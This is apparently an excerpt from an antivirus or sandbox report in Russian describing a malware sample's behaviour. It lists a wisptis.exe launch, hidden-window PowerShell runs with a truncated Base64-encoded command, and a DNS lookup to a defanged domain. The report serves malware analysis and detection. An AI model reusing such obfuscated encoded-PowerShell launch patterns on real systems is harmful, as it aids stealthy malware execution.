Техническая информация
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco IwAjAHIAawBrAGMAcwB1AGUAbwBmAGEAbwBiAHQAcQAKACQAawB5AGYAZgB4AGEAIAA9ACAAIgBRAFkAWABIAGoAIgA7AAoAJABnAGsAbwBjAGgAbABkAGUAZwB2AGwAeABxAD0AIgBsAGMAZQBlAHEAegBhAHEAYwBlAG8AcABuACIAOwAKACQAegB...
- DNS ASK li##tsno.at
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco IwAjAHIAawBrAGMAcwB1AGUAbwBmAGEAbwBiAHQAcQAKACQAawB5AGYAZgB4AGEAIAA9ACAAIgBRAFkAWABIAGoAIgA7AAoAJABnAGsAbwBjAGgAbABkAGUAZwB2AGwAeABxAD0AIgBsAGMAZQBlAHEAegBhAHEAYwBlAG8AcABuACIAOwAKACQAegB...' (со скрытым окном)